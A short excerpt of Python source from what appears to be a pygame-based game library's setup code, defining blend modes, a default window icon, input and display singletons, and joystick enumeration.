'premult': pygame.BLEND_PREMULTIPLIED
}
_GRAPHIC_BLENDS = tuple(_GRAPHIC_BLENDS_TABLE.keys())
_FONTS = {}
_SOUND_CHANNELS = []
_ANIMATIONS_TO_UPDATE = set()
_DEFAULT_TITLE = sys.argv[0] or '<stdin>'
_DEFAULT_ICON = pygame.Surface((32, 32))
_DEFAULT_ICON.fill((255, 255, 255))
_DEFAULT_ICON.fill((0, 0, 255), (0, 0, 32, 8))
ticker = _Ticker()
window = _Window()
screen = _Screen()
camera = _Camera()
mouse = _Mouse()
keyboard = _Keyboard()
joysticks = []
for joy_id in range(pygame.joystick.get_count()):
joystick = _Joystick(joy_id)
joysticks.append(joystick)
joysticks = tuple(joysticks)
try:
del joy_id
except NameError:
pass |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.